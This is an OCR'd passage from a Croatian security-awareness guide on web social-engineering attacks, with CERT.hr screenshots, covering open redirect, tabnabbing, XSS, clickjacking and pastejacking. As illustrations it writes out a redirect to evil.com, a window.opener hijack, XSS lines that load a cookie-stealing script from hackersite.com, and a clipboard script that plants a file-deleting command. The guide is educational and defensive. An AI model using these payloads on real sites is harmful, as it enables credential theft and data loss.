to je sigurna stranica, vjerojatno je poveznica na neku zanimljivu objavu ili sliku.”
[zazivanje takvog razmisljanja Zrtve u stvari je socijalni inZenjering.

Takvi URL-ovi mogu se poslati Zrtvama spam/phishing porukama e-posSte ili na
druStvenim mreZama, postavljati objave s URL-om na razli¢ite grupe s velikim brojem
¢lanova na Facebooku itd. Tipi¢an scenarij napada prikazan je na slici 17.

1. Zrtvav prim.a span'i/‘phishing. poruku 2. Zrtva klikne na poveznicu i 3. Stranica izgleda identi¢no kao
e-poste koja sadrzi poveznicu na preusmijerena je direktno na pouzdana, ali je to napadaceva
poznatu i pouzdanu strapu:u. Np, napadacevu stranicu stranica. Zrtva to ne primjecuje
u pargmetru za preusmjeravanje i unosi korisni¢ko ime i lozinku kao
nalazi se adresa napadaceve stranice ‘ i inace, a napadac ih prikuplja..

l IS ' 'S '
] S =
\ -

uuuuuu me

LINK HEPE R

Slika 17 Tijek Open Redirect napada (10)
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2014. godine pronadena je Open Redirect ranjivost na Facebooku. Pogreska koja je
uzrokovala ranjivost je vrlo brzo nakon toga ispravljena, a problem je bio u tome $to se u
parametre naziva uri i groupuri mogao unijeti skra¢eni URL proizvoljne stranice (11).

Ako bi se URL konstruirao kao Sto je prikazano u nastavku, preusmjeravanje bi bilo
neuspjeSno jer su nekakve osnovne provjere vel postojale i nisu dopuStale
preusmjeravanje na proizvoljne stranice ako je URL bio cijeli. Drugim rije¢ima, poveznica
sastavljena kao u nastavku ne bi uspjesno preusmjerila korisnika na napadacevu stranicu.

https://www.facebook.com /browsegroups/addcover/log/?groupid=1&groupuri=http
s://www.evil.com/

No, ako bi URL na koji napadac pokusava preusmjeriti korisnika bio skrac¢en preko usluge
fb.me, Zrtva bi bila uspjeSno preusmjerena.

Konkretan scenarij napada koristeci Facebook Open Redirect ranjivost izgledao bi ovako:

1) Zrtvi na adresu e-poste stize spam/phishing poruka u kojoj se nalazi poveznica:
https://www.facebook.com/browsegroups/addcover/log/?groupid=1&groupur
i=https://fb.me/7KFH9QAMH, sto je skracen URL domene na kojoj se nalazi
zlonamjerna stranica.

2) URL pocinje s www.facebook.com i Zrtva vjeruje da pripada Facebooku kojeg
smatra sigurnom i legitimnom stranicom. Ne primjecuje da je u parametru
groupuri skracena adresa napadaceve stranice na koju ¢e u stvari biti preusmjeren.
Facebook ne provjerava kuda zapravo vodi skra¢eni URL i preusmjerava korisnika
na napadacevu stranicu.

3) Napadaceva stranica izgleda identi¢no kao stranica Facebooka i trazi ga podatke
za prijavuy, tj. korisni¢ko ime i lozinku. Domena visSe nije www.facebook.com ve¢
neSto poput www.facebok.com ili www.fac3book.com, ali Zrtva to ne primjecuje.
Zrtva unosi podatke, a napadac¢ ih sprema i zatim preusmjerava Zrtvu na pravu
Facebook stranicu.

2.6 Tabnabbing

Tabnabbing ili hvatanje taba“ je napad koji naknadno mijenja ve¢ ucitanu napadacevu
stranicu.

Korisnik tijekom svog uobicajenog pregledavanja weba otvara viSe tabova od kojih neke
nece Koristiti niti pregledavati neko vrijeme jer radi nesto drugo u novom tabu. Recimo
da je u jednom od tih tabova korisnik otvorio i napadacevu stranicu koja izgleda sasvim
bezazleno, npr. blog. Dok korisnik ne gleda u taj tab, napadac ga mijenja i ucitava stranicu
koja ¢e vizualno izgledati kao npr. Gmail ili Facebook i traZzi ga podatke za prijavu.
Tabnabbing se oslanja na Cinjenicu da korisnik nece ponovno provjeriti URL ve¢ ¢e misliti
da je ostavio otvoren tab s Gmailom/Facebookom, da je isteklo vrijeme korisnicke sjednice
i da se zato ponovno mora prijaviti i nastaviti ¢e s uobicajenim aktivnostima.
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Ovo je posebno opasno u slucaju nekih bankarskih stranica koje svako toliko traze od
korisnika da se ponovno prijavi jer korisniku nije sumnjivo to S$to ga stranica ponovno
traZi podatke, vec¢ to djeluje kao sigurnosni protokol.

Pri tome bi neki tipi¢ni scenarij napada izgledao (12):

1) Zrtva posjecuje napadacevu naizgled bezazlenu stranicu koja ne daje za naslutiti
da je rijeC o phishingu ili da bi mogla traZiti i ukrasti korisnicke podatke - URL nije
pokusaj imitacije neke legitimne stranice, nema nikakvih polja za unos bilo kakvih
podataka, stranica izgleda kao obican blog.

! - ] X

I@‘ http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/ + & I Search.. O~

Tabnabbing: A New Type of... I_

TABNABBING: A NEW TYPE OF PHISHING ATTACK

The web is a generative and wild place. Sometimes I think I missed my calling: being
devious 1s so much fun. Too bad my parents brought me up with scruples.

Most phishing attacks depend on an original deception. If you detect that you are at
the wrong URL, or that something is amiss on a page, the chase iz up. You've
escaped the attackers. In fact, the time that wary people are most wary 1s exactly
when they first navigate to a site.

‘What we don’t expect 1s that a page we ve been looking at will change behind our
backs. when we aren’t looking. That’1l catch us by surprise.

Slika 18 Napadaceva naizgled bezazlena stranica

2) Zrtva otvara nove tabove i pregledava druge stranice u njima. Napadaceva stranica
malim komadom JavaScript koda detektira da tab u kojem se nalazi nije otvoren,
tj. da je korisnik trenutno ne pregledava.

- O *
e B https://=p.booking.com/index.htmi?aid=" ~ @ & | | Search.. 2~

@“ Tabnabbing: & New Type...| B YouTube n Facebook - prijava ili re... B Booking.com: 28,999,... | ]

= oo

Slika 19 Zrtva pocinje otvarati nove tabove

3) Dok korisnik pregledava sadrzaj neke treCe stranice, napadaceva stranica
JavaScript kbdom mijenja svoju ikonu na tabu u Gmailovu i naslov u ,,Gmail: Email
from Google“. Takoder, mijenja sadrzaj stranice tako da vizualno izgleda identi¢no
kao Gmailova.
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= https;//www.cert.hr/novosti/ > @ <& || Search.. O~ MHiviE @
1 Gmail: Email from Google

Utorak, 24. rujan 2019.

C=RT.hr =

surfaj sigurnije

PoEetna > NOVOSTI

PREGLED TJEDNIH NOVOSTI 0 ZLONAMJERNOM RANSOMWARE SADRZAJU #75

26009

lzvor: bleepingcomputer.com

Novosti NPl

8.rujna 2019. godine LaZna PayPal stranica Siri ransomware Nemty Web stranica koja se pretvara da nudi
sluZbenu prijavu na PayPal trenutno Siri novu inaCicu ransomwarea Nemty na korisnike koji niSta ne sumnjaju.
Novi ransomware InfinityLock Sigurnosni stru€njak GrujaRS prona$ao je novi ransomware naziva InfinityLock koji
dodaje dugaak ID kao nastavak. Mova inaCica ransomwarea Globelmposter Sigurnosni

W Tagged Ransomware

Slika 20 Napadaceva stranica mijenja svoj sadrzaj dok korisnik ne gleda u njen tab

4) Zrtva ima puno otvorenih tabova i vise se ni ne sjeca §to je sve otvorila. Misli da je
ostavila otvoren tab s Gmailom i ne provjerava ponovno URL. Cak i ako Zrtva ima
praksu provjeriti URL, ba$ zato Sto ga je ve¢ pogledala prilikom otvaranja, ne radi
to opet. Stranica je traZi podatke za prijavu koje Zrtva unosi. Napadac je prikupio
osjetljive podatke, a Zrtva je nakon toga preusmjerena na pravu Gmailovu stranicu
i nista joj nije sumnjivo.

I - O

e P http://www azarask.in/blog/post/a-new-type-of-phishing-attack/ - & || Search... o~ i ‘-_,n._-'

—
[*1 Gmail: Email from Google li Facebook - prijava ili registracija | @ Uvjeti pruzanja Usluge - YouTu... = Movosti Archives - CERT.hr

Google New o Google Ma?

Google Mail

A Google approach to email. Signin
Google Mail is built on the idea that email can be more intuitive, e
efficient, and useful. And maybe even fun. After all, Google Mail has:
- Lots of space Password
Over 10253.552677 megabytes (and counting) of free

storage.

® Less spam Stay signed in

Keep unwanted messages out of your inbox.

Mobile access
Get Google Mail on your mobile phone. Learn more

About Google Mail ~ New features!  Switch to Google Mail
Create an account

Can't access your account?

Slika 21 LaZirana Gmail stranica
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2.7 Reverse Tabnabbing

Na webu je uobicajeno da se stranice referenciraju jedna na drugu, tj. da jedna stranica
sadrzi i pokazuje poveznice kojima se moZe doc¢i do drugih stranica. Npr. ako netko piSe
blog, stavit ¢e poveznice na sadrzaj tudeg bloga koji smatra korisnim ili Zeli da ga cCitatelji
vide.

Na slici 22 prikazan je ¢lanak u kojem su prikazane poveznice koje vode na razne ¢lanke,
od kojih je jedan na adresi napadaceva-stranica.com (ovo je samo za ilustraciju, jer u
pravom slu¢aju napada napada¢ nikako ne bi insinuirao da je rije¢ o zlonamjernoj
stranici). Ako bi korisnik stvarno kliknuo na poveznicu, u novom tabu otvorila bi se
stranica s adrese napadaceva-stranica.com.

E Comewithr X = PREGLEDTIF X +

< C & certhr/NCRWITS B Sy

e :
C=RT.hr a B

surfaj sigurnije

Ranjiva stranica

Neki clanci koje bi svatko trebao procitati:
Bezazlen clanak

Naizgled bezazlen clanak
Naizgled bezazlen clanak. Ne trazi od korisnika nikakve osjetljive podatke,
ne trazi ga preuzimanje nikakvih datoteka, ne trazi instalaciju Adobe

Flash Playera... Samo tekst.

Bezazlen clanak

|T.'.|3E:-" www.napadaceva-stranica.com -

Slika 22 Ranjiva stranica prikazuje poveznice od kojih je jedna na napadacevu stranicu

Sada ta zlonamjerna stranica moZe stvoriti novi sadrzaj u tabu s kojeg je pozvana (tzv.
yroditeljska“ stranica/tab), a u kojem je do maloprije bio legitimni sadrzaj. To se zove
Reverse Tabnabbing jer zloupotrebljava ¢injenicu da medu tim stranicama moze ostati
otvorena veza preko objekta koji se zove , opener®.

Ranjiva stranica na napadacevu referencira na sljedeci nacin:

¥ <@ href="www.napadaceva-stranica.com” target="_blank
strong:Naizgled bezazlen <lanak</strong
fa

Stranica je ranjiva jer nije zatvorila povratnu vezu izmedu sebe i stranice koja ¢e se
otvoriti. Otvorena zlonamjerna stranica sad moze preusmjeriti roditeljsku stranicu na
neku napadacevu stranicu koja ¢e imitirati npr. Gmail stranicu za prijavu sljede¢im
JavaScript kbdom:
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<script>
if (window.opener) {

window.opener.location = "https://lazna-gmail-stranica.com";
}

</script>

Sredinom 2019. godine sigurnosni istraziva¢i pronasli su ovu ranjivost na Redditu,
svjetski poznatom forumu s viSe milijuna svakodnevnih korisnika (13).

Scenarij napada za koji su utvrdili da je moguc je sljedeci:

1) Napadac otvara novu temu u koju postavlja poveznicu na svoj blog.

submit to EvidenceFillerspooky - Mozilla Firefox

File Edit View History Bookmarks Tools Help

© Submit to EvidenceFiller: X 4

< C @ | @@ hitpsywww.reddit.com/rEviden
e reddit # Create Post - Q sea Evide
Create a post orarTs [

0 r/EvidenceFillerSpooky -

B Post M Image & Link

Check out my blog!

https://example.com/blog-Lol5unai/

&

+ SPOILER 4 NSFW SAVE DRAFT ‘ PosT

Send me post reply notifications

Connect accounts to share your post (O

Slika 23 Prvi korak - nova objava s poveznicom na napadacevu stranicu

2) Zrtva koja otvori tu poveznicu zaokupljena je ¢itanjem bloga dok se u pozadini u
tabu u kojem je Reddit stranica ucitava napadaceva stranica.

This is my blog - Mozilla Firefox

File Edit View History Bookmarks Tools Help

- reddit: the front page of X | This is my blog X |+

G @ @& hipsyexample.com)t
PR TUNITY SNV LS ar Imiviuun iy UL tauu

dolores et ea rebum, Stet clita kasd gqub

Duis zutem vel eum iriure dolor in hendr

At irtn adia disanicsie

Slika 24 Drugi korak - Zrtva ¢ita blog, a u tabu sa stranicom Reddit se ué¢itava napadaceva
stranica

3) Zrtva prodita blog i vraéa se na tab u kojem je bila stranica Reddit, a sad je
podmetnuta napadaceva stranica koja izgleda isto kao i legitimna, ali je domena u
Punycodeu. Stranica ga trazi da ponovno upiSe korisni¢cko ime i lozinku, Sto
korisnik radi jer pretpostavlja da je isteklo vrijeme sesije i da se mora ponovno
prijaviti. Napadac je prikupio podatke o Zrtvinom korisnickom imenu i lozinki.
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reddit: the front page of the internet - Mozilla Firefox
File Edit View History Bookmarks Tools Help

© reddit: the front pageof X =+

hitps:iwww.reddit.com/r/a

Sign in

someuser 1

New to Reddit? SIGN UP

Slika 25 Treéi korak - Zrtva se vraca na "Reddit" i unosi korisnicko ime i lozinku

Kako bi se sprijecio Reverse Tabnabbing napad, programeri web stranica trebali bi
eksplicitno rec¢i pregledniku da ne smije dopustiti da objekt window.opener njihove
stranice bude dostupan stranicama na koje ona referencira, i to ukljucuju¢i atribut
noopener u kod na sljedeci nacin:

e Za HTML atribut <a>:

<a href="https://example.com/" target=" blank" rel="noopener">Link to external
site</a>

e ZaJavaScript funkciju

function openPopup (url, name, options) {
var newWin = window.open (null, name, 'noopener ' + options);
newWin.opener = null;

newWin.location = url;

2.8 LazZiranje sucelja web preglednika

Mobilne aplikacije, a time i mobilne verzije web preglednika, prostorno su ogranicene
zbog malog zaslona. Programeri neprekidno rade na poboljSanju korisni¢kog iskustva i za
razliku od web preglednika, mobilni preglednik uklanja sa zaslona veci dio svog sucelja, a
time i skriva polje s URL-om kako bi za sadrZaj web stranice ostalo vise mjesta.

Sredinom 2019. godine pronadena je moguc¢nost za phishing napad koja je isprobana na
mobilnoj verziji preglednika Chrome - laziranje sucelja, tj. adresne trake web preglednika
(14).

Na mobilnoj verziji preglednika Chrome, dok korisnik scrolla niz stranicu, preglednik
skriva traku s URL-om. Dok je originalna adresna traka web preglednika skrivena,
stranica moze prikazati svoju vlastitu traku s laZiranom adresom web stranice koja imitira
traku web preglednika i uvjerava korisnika da se nalazi na nekom drugom URL-u. Na slici
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26 prikazana je originalna (lijevo, za vrijeme dok je vidljiva) i laZirana (desno, kad stvarna
nije vidljiva) adresna traka mobilnog preglednika. Kao $to se vidi, teSko je primijetiti da je
adresna traka laZirana.

JAESRNO R16%EB=011:31

{0 @& jameshfisher.com/201¢

The inception bar: a
new phishing method

Welcome to HSBC, the
) world’s seventh-largest
bank! Of course, the page you're reading
isn't actually hosted on hsbc. com; it's
hosted on jameshfisher.com. But
when you visit this page on Chrome for
mobile and scroll a little way, the page is
able to display itself as hsbc. com - and

JAZBRAG R 16% =111:31

@ https://www.hsbc.com

The inception bar: a

new phishing method

‘ Welcome to HSBC, the

world’s seventh-largest bank! Of course,
the page you're reading isn’t actually
hosted on hsbhc . com; it's hosted on
jameshfisher.com. But when you
visit this page on Chrome for mobile and
scroll a little way, the page is able to
display itself as hsbc. com - and worse,

worse, the page is able to jail you in this

falla hrauinarl ln thin nant | ahaus bhAae

the page is able to jail you in this fake

Slika 26 Originalna (lijevo) i lazirana (desno) adresna traka

Uobicajeno kad korisnik dode natrag na pocetak stranice, preglednik prikaZe traku s URL-
om, ali napada¢ manipulacijom HTML elemenata sprjecava da korisnik dode na pocetak.
Jedini trenutak kad korisnik moZe shvatiti da je na phishing stranici je prilikom prvog
ulitavanja stranice, prije no Sto je poceo scrollati.

Ono Sto se zapravo dogada vidljivo je na slici 27: napadac je snimio pocetnu traku koja se
pojavi kad posjeti stranicu banke na adresi hsbc.com i ubacio sliku u svoju stranicu. Traka
s adresom koja se pojavljuje tokom scrollanja nije traka od browsera, ve¢ dio napadaceve
stranice.

Jd 2SN R 16% B0 11:32
{3 @ jameshfisher.com/2019
@ https:/www.hsbc.com

display itself as hsbc. com - and worse,
the page is able to jail you in this fake
browser! In this post | show how the
attack works, then suggest some ways
Chrome can fix this vulnerability, then
finally show you how to get out if you're
still stuck here. But first, the proof:

|19.53a§em' ¥ 462 |

Slika 27 Originalna i laZirana adresna traka web preglednika
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2.9 XSS

Cross-site scripting (skraceno: XSS) je prilicno raSirena ranjivost u web stranicama koja se
svodi na to da napadac moZze ubaciti svoj (zlonamjerni) JavaScript kod na tudu (ranjivu)
web stranicu koji Ce se kasnije, kad Zrtva posjeti stranicu, izvrsiti u Zrtvinom pregledniku.

XSS napad moZe se izvrsiti onda kad ne postoji sanitizacija unesenih podataka, tj. web
stranice vjeruju korisnikovom unosu u neko polje za unos i prihvate ga, pohrane i kasnije
prikazuju drugim korisnicima bez provjere ispravnosti. Zrtva posjeti stranicu na kojoj je
takav sadrZaj kojeg je unio zlonamjerni korisnik i njen preglednik preuzme i zlonamjerni
JavaScript kod. IzvrSavanjem JavaScript kdda u Zrtvinom pregledniku napadac ¢e dobiti
potpuni pristup web stranici iz perspektive Zrtve, Sto znaci da moZe raditi na odredenoj
stranici sve §to moZe i Zrtva.

XSS napadom mogu se kompromitirati privatne informacije, kontrolirati korisnikov
preglednik, pristupati povijesti pregledavanja i sadrZzaju meduspremnika, udaljeno
upravljati preglednikom, otuditi korisnicki racuni ili stvoriti zahtjevi koji mogu biti
interpretirani kao zahtjevi korisnika.

Ovisno o tome kako se podmece, razlikuju se:

e Pohranjeni XSS (engl. Stored XSS). Napada¢ umece svoj zlonamjerni kod na
legitimnu stranicu koja ima XSS ranjivost, tj. ne vrsi dovoljnu kontrolu za
korisnikov unos i napada¢ moZe podmetnuti k6d umjesto onog Sto stranica
ocekuje u nekom polju za unos podataka. Svi posjetitelji kompromitirane legitimne
stranice bit ¢e Zrtve XSS napada. Pohranjeni XSS daje ve¢u mo¢ napadacu nego
reflektirani (15).

o Reflektirani XSS (engl. Reflected XSS). Napadac iskoriStava ranjivost legitimne
web stranice koja ne provjerava Sto je uneseno u parametre koji su prikazani u
URL-u. Korisnik ¢e biti Zrtva XSS napada ako klikne na poveznicu koju joj podmece
napadac. Pritom se na kompromitiranoj legitimnoj web stranici ne pohranjuje
nikakav zlonamjerni kéd, ve¢ se samo iskoriStava njeno domensko ime (koje
korisniku nece biti sumnjivo) i ranjivi parametar. Prema podacima OWASP-a, ovo
je najcesSca vrsta XSS napada (16).

2.9.1 Pohranjeni XSS napad
Kako bi se izveo pohranjeni XSS napad, napada¢ mora pronaci legitimnu web stranicu s

ranjivosti koja ¢e mu omoguciti umetanje zlonamjernog kdda u neko polje za unos (npr.
korisnic¢ko ime i lozinka, komentari...). Tijek napada prikazan je na slici 28.
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NapadaIE pgdmec’e SVoj LEGITIMNA
zlonamjerni kod za kradu WEB STRANICA Svaki put kad netko posjeti

zrtvinih kolacica web stranicu, izvriava se i

apadacev kod

Posjetitelj postaje zrtva i njegov
kolaci¢ se 3alje napadacu .
U

ZRTVA

N

NAPADAC

Napadac pronalazi legitimnu
stranicu s XSS ranjivosti

Slika 28 Tijek Stored XSS napada (15)
Primjer jednog takvog napada bio bi (15):

1) Napadac¢ stvara stranicu hackersite.com na koju pohranjuje zlonamjerni kéd u
skripti authstealer.js kojim Zeli napasti Zrtvu i ukrasti joj autentifikacijske podatke.

2) Napadac pronalazi ranjivu stranicu popularne online trgovine koja ne provjerava
korisni¢ki unos u svojoj sekciji za komentare ispod proizvoda. Napadac unosi svoj
komentar:

»0dlican proizvod!<script src="http://hackersite.com/authstealer.js”></script>.“

3) Komentar s podmetnutim zlonamjernim kddom je sad pohranjen na posluzitelju
legitimne stranice i prikazat ¢e se svakom posjetitelju. Osim Sto ¢e se prikazati
komentar, izvrSit ¢e se i zlonamjerni kod u posjetiteljevom (Zrtvinom)
pregledniku. Dovoljno je da korisnik posjeti web stranicu i bit ¢e napadnut, ne
mora nista kliknuti ni preuzeti. Zlonamjerni kod ¢e ukrasti Zrtvin kolaci¢ kojim mu
moZe oteti korisnicki racun i do¢i do osjetljivih podataka.

2.9.2 Reflektirani XSS napad

Kako bi se izveo reflektirani XSS napad, potrebno je namamiti korisnika da klikne na
zlonamjernu poveznicu koja pocCinje domenom neke legitimne stranice, ali u nju je
podmetnut JavaScript kdd u neki parametar. Kako bi se to postiglo, napada¢ mora pronaci
legitimnu stranicu koja ne sanitizira parametre (tj. ima XSS ranjivost). Tako konstruirana
poveznica moze se slati potencijalnim Zrtvama putem drustvenih mreZa, poruka e-poste,
itd.

Jednom kad korisnik klikne na link, podmetnuti JavaScript kod izvrSit e se u njegovom
web pregledniku. Tijek napada prikazan je na slici 29.
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2. zrtva klikne na link i kéd
se izvrsi u njenom web
pregledniku

3. preglednik Salje osjetljive
Zrtvine podatke napadacu

ZRTVA 1. na;?e_l_dac": salje i_rtvi NAPADAC
pazljivo sastavljen

URL u koji je podme-
tnut JavaScript kod

Slika 29 Tijek Reflected XSS napada (17)

Jedan mogu¢ scenarij napada izgledao bi (18):

4)

5)

6)

7)

NapadacC stvara stranicu hackersite.com na koju pohranjuje zlonamjerni kéd u
skripti authstealer.js kojim Zeli napasti Zrtvu i ukrasti joj autentifikacijske podatke.

Napadac¢ pronalazi legitimnu stranicu koja ima XSS ranjivost, tj. u neki njen
parametar moZze unijeti JavaScript kéd i takvu poveznicu poslati Zrtvi. Recimo da
je takva stranica na adresi www.forum.com, a parametar cija se vrijednost ne
provjerava je q.

Napadac sastavlja sljede¢u poveznicu:

http://forum.com/?g=news<\script%20src="http://hackersite.com/authstealer.
is.

Zrtva vidi da domena iz poveznice pripada stranici forum.com kojoj vjeruje. Otvara
link i preusmjerena je na stranicu foruma, ali zZlonamjerni kod se izvr§ava u njenom
pregledniku, Salje napadacu osjetljive podatke i otima mu racun.

2.10 Clickjacking

Otimanje klikova (eng. Clickjacking), je vrsta napada, odnosno prevare u kojem se
korisnika navodi da klikne na skrivenu tipku (engl. button) koja je postavljena ispred, tj.
prekriva tipku na koju ¢e Zrtva kliknuti. Na slici 30 je jedan takav primjer: Zrtva misli da
¢e kliknuti na tipku ,PLAY“ dok ¢e u stvari kliknuti na tipku ,PAY“ koja je postavljena
povrh nje, ali je nevidljiva.
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Slika 30 Clickjacking napad (19)

To je moguce jer web stranice smiju sadrzavati elemente naslagane jedne preko drugih,
od kojih neki mogu biti i prozirni (tj. nevidljivi korisniku). Zahvaljuju¢i tome napadac
moZe podmetnuti tipku (ili neki drugi HTML element koji moZe preusmijeriti korisnika)
za neku akciju koje korisnik nije svjestan jer on vidi neku drugu tipku koja insinuira na
neku drugu akciju.

Clickjacking se oslanja na Cinjenicu da neke stranice dopusStaju da se putem iframe
elementa ucitaju na druge web stranice. Uzmimo za primjer Google Maps ¢iju stranicu na
svoju ucitavaju korisnici koji Zele prikazati svoju lokaciju na karti. Na njihovim ce se
stranicama nalazit sljedeci kod:

<iframe src="https://waw.google.com/maps/embed ?pb="1ml4!1mE!1m3 !
1d5563.711257525759!2d15.95736% ! 3d45.79412 ! 3m2!1i18. . ."
width="&8@" height="398" frameborder="8" style="border:@;
width: 188%;" allowfullscreen:
</iframe:>

Na isti na¢in moguce je ugraditi sadrzaj bilo koje druge stranice (ako to ona dozvoljava) u
svoju. Zamislimo da stranica eBay to dozvoljava. Tad bi bio mogu¢ sljede¢i scenarij
napada:

1) Napadac programira vlastitu stranicu koja korisnika poku$ava namamiti da nesto
klikne obecanjem da ¢e osvojiti novi iPad.

2) U tu stranicu je korisnik ucitao i sadrzaj eBay stranice, i to na nacin da je iframe
element unutar kojeg se eBay stranica nalazi postavio preko, tj. ispred sadrZaja
svoje stranice (to je moguce CSS atributom koji se zove z-indeks) i iframe ucinio
prozirnim, tj. transparentnim tako da ga korisnik uopc¢e ne vidi (to je mogucée CSS
atributom koji se zove opacity). Napadac je ,preklopio” tipku ,FREE“i tipku ,Buy it
now" kao Sto je prikazano na slici 31
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As Seen On TV!
Click here to win a new iPad!

[V Vi )

Slika 31 Clickjacking napad

3) Korisnik klikne na tipku ,,FREE", ali u stvari je kliknuo na nevidljivu eBay tipku za
kupovinu jer se ona nalazi ispred.

Kako bi se sprijeio ovaj napad, korisnik bi trebao provjeriti izvorni kéd (engl. source)
stranice i uvjeriti se da ne postoji nikakav skriveni iframe element. No, odgovornost za
sprijeCiti ovaj napad je prvenstveno na programerima stranice koji trebaju zabraniti
(osim ako za to postoji razlog, kao u slucaju Google Mapsa) da se njihova stranica moze
ucitati u iframe, i to postavljanjem jednog od sljede¢ih HTTP zaglavlja (20):

e X-Frame-Options: DENY ili X-Frame-Options: SAMEORIGIN (stranica se smije
ucitavati samo unutar ostalih stranica na istoj domeni)

e (Content-Security-Policy: frame-ancestors 'none’

Na ovaj nacin napadac neée moc¢i tudu, legitimnu stranicu ugraditi u svoju.

2.11 Pastejacking

Pastejacking zloupotrebljava korisnikovu lijenost da prepisuje pa umjesto toga kopira
tekst, naredbe i slicne znakovne nizove s weba. Pastejacking je tehnika koja JavaScript
kédom mijenja sadrzaj korisnikovog meduspremnika (engl. Clipboard) u trenutku kad
korisnik napravi akciju kopiranja. Pritom korisnik misli da je kopirao nesto sasvim drugo.

Pojednostavljeni scenarij napada izgledao bi:

1. Korisnik pretraZzuje na webu naredbu za Windows konzolu kojom moZze izlistati
sadrZaj direktorija u kojem se trenutno nalazi

2. Korisnik nailazi na napadacevu stranicu s rjeSenjem za njegov problem, rjeSenje je
naredba ,dir”. Korisnik oznaci naredbu i kopira je kao Sto je prikazano na slici 32.
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Q) MS-DOS and Windows comman X +

&« C & https://www.napadaceva-stranica.com/index.php G‘B 5

Syntax

The syntax of the dir command has evolved somewhat over time.
Select your operating system to jump to the information that applies

to your version.
» Windows 10, 8, 7, Vista, XP, and 2000.

* W Copy Ctrl+C V| S-DOs.
Search Google for "DIR”
Print... Ctrl+P
Syn sta, XP, and 2000
@ MeSeript

1 Inspect Ctrl+Shift+|
)

Slika 32 Napadaceva stranica s Pastejacking napadom

3. U kodu napadaceve stranice postoji JavaScript funkcija prikazana na slici 33 koja,
kad se dogodi kopiranje (kad korisnik klikne CTRL+C ili desni klik -> copy), u
korisnikov meduspremnik pohranjuje naredbu za brisanje svih tekstualnih
datoteka u direktoriju u kojem se trenutno nalazi.

wiscript
document . addEventlistener( 'copy', function{e){
console.logie);
e.clipbhoardData.setData( 'text/olain', 'del *.twxt'\n'):
e.preventDefault();

/script
Slika 33 JavaScript funkcija za manipulaciju Zrtvinim meduspremnikom

4. 7Zrtvaklikne na CTRL+V (paste) i zalijepi naredbu u svoju konzolu. Naredba nije ta
za koju korisnik misli da je, ali je prekasno jer se naredba izvrsila i obrisala sve
tekstualne datoteke u njegovom direktoriju. Korisnik bi ina¢e morao sam kliknuti
tipku enter kako bi se naredba izvrsila, ali napadac je dodao \n koji oznacava
prelazak u novired i naredba se izvrSava automatski ¢im je korisnik zalijepi u svoju
konzolu.

BX Command Prompt — O x

soft Windows [Version 16.8.1
9 Microsoft Corporation. A

Slika 34 Zrtva je zalijepila i izvrsila napadacevu podmetnutu naredbu
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Ovo je jedan pojednostavljeni primjer, ali ocito je da napadaci mogu podvaliti u korisnikov
meduspremnik bilo kakav sadrZaj i neku opasniju i sloZeniju naredbu.

Zanimljiva je kombinacija XSS, ClickJacking i PasteJacking napada, tj. takozvani XSSJacking
napad koji funkcionira na sljedec¢i nacin (21):

e Napadac trazi legitimnu stranicu s XSS ranjivosti koju ¢e ucitati u svoju putem
iframea tako da podmetne njeno polje za unos ispred svog

e Napadac sastavlja vlastitu stranicu u kojoj trazi da korisnik napiSe istu stvar
dvaput, npr. da unese lozinku i zatim je joS jednom ponovi. Polje za unos podatka
legitimne stranice postavlja ispred svog polja za ponovni unos lozinke.

e Napadac racuna na to da Ce Zrtva u prvo polje unijeti lozinku, a u drugo polje je
kopirati. [zvrSava se Pastejacking napad i u polju za unos legitimne stranice se sad
nalazi zlonamjerni kod ¢ijim izvrSavanjem napada¢ moZe doc¢i do osjetljivih
korisni¢kih podataka.

Kako bi se sprijecio Pastejacking napad, preporucljivo je tekst koji se kopirao prvo
zalijepiti u Notepad ili slican uredivac teksta kako bi se vidio stvarni kopirani sadrzaj.
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3 Zakljucak

Kada je rije¢ o napadima na webu, Cesto je miSljenje da korisnik mora napraviti nesto
nepromisljeno, naivno i rizicno poput otvaranja jako sumnjivog privitka u poruci e-poste.
No, metode kojima napadaci danas napadaju Zrtve postaju sve sofisticiranije i sve ih je
teZe zapaziti na vrijeme. U isto vrijeme, tehnic¢ki napadi na ranjivosti softvera postaju sve
napredniji - ponekad je dovoljno samo posjetiti stranicu (€ak i legitimnu koja je na neki
nacin kompromitirana) i napad ¢e biti izvrSen, bez da je korisnik iSta krivo napravio.

Nekad je socijalni inZenjering na internetu obuhvacao sastavljanje genericke, loSe
prevedene poruke koja se slala na ogroman broj adresa e-poSte i pokuSala nagovoriti
korisnike da uplate novce na neki racun, preuzmu sumnjive privitke, posalju svoju lozinku
i adresu e-poste. Danas napadaci zloupotrebljavaju i iskoriStavaju protiv Zrtve i samu
Cinjenicu da je Zrtva upoznata s tim Sto je socijalni inZenjering i da je oprezna - ako je
Zrtva provjerila URL stranice na kojoj se nalazi ili je primila naizgled bezazlenu poruku e-
poste, osjecat Ce se sigurno i ne¢e sumnjati u daljnje radnje koje od nje zahtijeva stranica,
upravo zato jer je prvotno provjerila stranicu.

Nazalost, kad god je ukljucen ljudski faktor u procjenu je li nesto rizi¢no ili ne, ne postoji
potpuna sigurnost jer ¢e napadaci uvijek pronaci nacin za prevariti korisnika. U ovom
dokumentu socijalni inZenjering opisan je kroz opis aktualnih scenarija napada, pregled
tehnika i osnovne zastite. Citanje ovog dokumenta trebalo bi znatno podignuti svijest i
upoznati korisnika s napadima o kojima se ne mogu toliko educirati iz medija i portala s
vijestima, a svakodnevni su i svatko moze postati njihovom Zrtvom.

Bitno je za primijetiti da za neke od opisanih napada ne postoji skoro nikakav nac¢in da ga
korisnik sprijeci ili uoci, ve¢ je potpuna odgovornost na programeru web stranice da
sprije¢i da napadac zloupotrijebi njegovu stranicu za takve tehnike napada (XSS, Open
Redirect, Reverse Tabnabbing, Clickjacking i sl.). Takoder, napade poput laZiranja sucelja
web preglednika ili Punycode napada c¢ak niti programer web stranice ne moZe
onemoguciti ili sprijeciti, ve¢ je potrebna intervencija programera koji razvijaju web
preglednike.

Kako bi rizik od napada i Steta koju on moZe nanijeti bio minimalan, korisno je obratiti
pozornost i usvojiti prakse dubinske obrane (engl. defense in depth) i detekcije i
oporavka od uspjesnog napada. Dubinska obrana odnosi se na viSe slojeva zastite tako
da propust u jednom sloju (npr. napad exploit kitom) ne znaci da ¢e sigurnost biti potpuno
ugroZena jer npr. korisnik nema dodijeljena administratorska prava na racunalu, $to
ogranicava razinu Stete koje napada¢ moZe nanijeti. Nije uvijek moguce sprijeciti napad i
iz tog razloga treba se pripremiti na detekciju i oporavak od uspjesnih napada, primjerice
redovitim, proaktivnim skeniranjem antivirusnim softverom i redovitom izradom
